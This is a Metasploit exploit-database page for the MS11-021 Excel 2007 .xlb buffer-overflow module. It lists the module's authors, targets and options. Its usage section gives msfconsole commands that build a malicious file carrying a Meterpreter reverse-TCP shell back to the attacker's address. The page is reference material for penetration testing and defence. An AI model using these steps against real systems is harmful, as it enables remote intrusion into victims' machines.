MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow | Metasploit Exploit Database (DB)

MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow

This module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack- based buffer overflow. This results aribrary code execution under the context of user the user.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • Aniway < >
  • abysssec < >
  • sinn3r < sinn3r [at] metasploit.com >
  • juan vazquez < >

Vulnerability References


Exploit Targets

  • 0 - Microsoft Office Excel 2007 on Windows XP (default)
  • 1 - Microsoft Office Excel 2007 SP2 on Windows XP

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/ms11_021_xlb_bof
msf exploit(ms11_021_xlb_bof) > show payloads
msf exploit(ms11_021_xlb_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms11_021_xlb_bof) > set LHOST [MY IP ADDRESS]
msf exploit(ms11_021_xlb_bof) > exploit


Exploit Module Options

FILENAME The filename (default: msf.xlb)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session